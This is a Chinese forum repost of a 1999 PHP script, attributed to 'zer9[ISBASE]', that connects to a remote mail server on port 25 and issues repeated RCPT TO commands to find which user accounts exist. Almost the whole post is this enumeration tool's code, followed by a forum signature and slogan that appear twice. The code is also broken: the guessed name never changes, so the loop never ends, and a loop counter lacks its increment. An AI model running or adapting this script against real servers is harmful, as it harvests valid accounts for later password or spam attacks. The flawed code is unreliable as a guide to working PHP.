通過port:25獲得用戶列表for [PHP]     此為轉貼資料    http://www.jiafangyifang.com/news/newsdata/2001_11_30/4/20011130163135.htm    #!/usr/local/bin/php  <?  /*   [PHP] Get Remote User List through sendmail   (C)1999   zer9[ISBASE]   zer9@21cn.com   test on: RH6 with PHP3    */     $LogFile = "./rcpt.log";     function OpenLogRecord()  {  $fFp = fopen($LogFile,"a");  // are u really want it?  }     function Usage()  {  print "Rcpt[PHP] 0.01 by zer9[isbase] mailt0:zer9@21cn.com  ";  print "Usage: ".__FILE__."  "."[Port] "; exit(); } function EchoRecv($Sock) { $RecvBuf; $RecvChar; while(!feof($Sock)) { return fgets($Sock,1000); } /* while($Count-- != 0) { $RecvBuf .= fgetc($Socket); } print $RecvBuf." "; */ } function Init($Sock) { fputs($Sock,"RSET "); print EchoRecv($Sock); fputs($Sock,"mail from:zer9@zzz.com "); print EchoRecv($Sock); } function FindUser($Sock) { $Dict = "a"; while(1) // hahahhaa ~!!#@#@!$## { fputs($Sock,"rcpt to:".$Dict ." "); //fputs($Sock,"rcpt to:"."root "); //print EchoRecv($Sock); if(strstr(EchoRecv($Sock),"ok")) { print "FindUser: ".$Dict." "; } clearstatcache(); //sleep(1); } } function EndGuess($Sock) { fputs($Sock,"quit "); } // Main Enter Point // int main(int argc,char *argv[]) $iPort; switch ($argc) { case 2 : $iPort = 25;break; case 3 : $iPort = $argv[2];break; default : Usage(); } $Socket = fsockopen($argv[1], $iPort, &$errno, &$errstr); if(!$Socket) { echo "$errstr ($errno) "; } print EchoRecv($Socket); fputs($Socket,"HELP "); for($i = 1; $i <= 10 ; $i ) { $RecvBuff = EchoRecv($Socket); print $RecvBuff; /* if(strstr($RecvBuff,"RCPT")) {? print "n1ce!find: RCPT "; break; } else { print "sorry,no cmd "rcpt",but exit..."; fclose($Socket); exit(); } */ } Init($Socket); FindUser($Socket); EndGuess($Socket); fclose($Socket); // END ?> ********************************************************* 哈哈&兵燹 最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好 Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知 K.表Knowlege 知識,就是本站的標語:Open our mind to make knowledge together! 希望能大家敞開心胸,將知識寶庫結合一起

------
**********************************************************
哈哈&兵燹
最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好

Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知
K.表Knowlege 知識,就是本站的標語:Open our mind